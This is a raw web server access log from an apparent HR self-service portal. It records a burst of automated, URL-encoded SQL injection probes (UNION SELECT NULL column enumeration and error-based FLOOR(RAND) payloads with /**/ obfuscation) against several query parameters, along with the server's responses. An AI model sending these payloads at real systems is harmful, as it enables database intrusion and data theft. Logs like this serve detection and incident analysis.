100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x67714e74%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6657476a%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FqiJ6%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x46747932%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x386d574e%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FKf9V&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x46747932%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x386d574e%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FKf9V&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x7431624c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x66485259%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F9WtD%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x7431624c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x66485259%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F9WtD%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x46384b68%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f514d6c%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FCJp8%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x46384b68%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f514d6c%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FCJp8%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:26 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x7a446571%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f6d796e%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x43346349%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5552714c%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fg5VD%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x47354441%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d763579%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FLDth%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x47354441%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d763579%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FLDth%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x64684c6c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x77655055%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F2Be6%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x64684c6c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x77655055%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F2Be6%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x5169796d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x73794661%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x5169796d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x73794661%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x67454d48%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x504f545a%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FeVrX%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x67454d48%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x504f545a%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FeVrX%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x52796f74%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x73697675%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FhEnO%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x46747932%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x386d574e%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FKf9V&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4e794545%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f777858%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FZfrj%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4e794545%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f777858%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FZfrj%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x39614d4c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c5a4176%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2Fl7YF&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x39614d4c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c5a4176%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2Fl7YF&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
